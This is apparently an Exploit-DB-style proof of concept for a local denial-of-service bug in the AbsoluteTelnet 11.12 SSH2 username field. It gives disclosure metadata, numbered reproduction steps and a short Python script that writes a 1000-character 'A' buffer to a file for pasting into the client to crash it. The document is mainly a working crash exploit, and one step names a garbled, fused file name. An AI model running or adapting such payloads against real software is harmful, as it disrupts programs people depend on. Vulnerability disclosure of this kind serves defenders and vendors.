# Exploit Title: AbsoluteTelnet 11.12 - 'SSH2/username' Denial of Service (PoC)# Discovery by: chuyreds # Discovery Date: 2020-02-05# Vendor Homepage: https://www.celestialsoftware.net/# Software Link : https://www.celestialsoftware.net/telnet/AbsoluteTelnet11.12.exe# Tested Version: 11.12# Vulnerability Type: Denial of Service (DoS) Local# Tested on OS: Windows 10 Pro x64 es#Steps to produce the crash:#1.- Run python code: AbsoluteTelnet 11.12_username_ssh2.py#2.- Open absolutetelnet_username_SSH2.txtabsolutetelnet_username.txt and copy content to clipboard#3.- Open AbsoluteTelnet#4.- Select "new connection file", "Connection", "SSH2", "Use last username"#5.- In "username" field paste Clipboard#6.- Select "OK"#7.- Crashed
buffer = "\x41"* 1000
f = open ("absolutetelnet_username_SSH2.txt","w")
f.write(buffer)
f.close()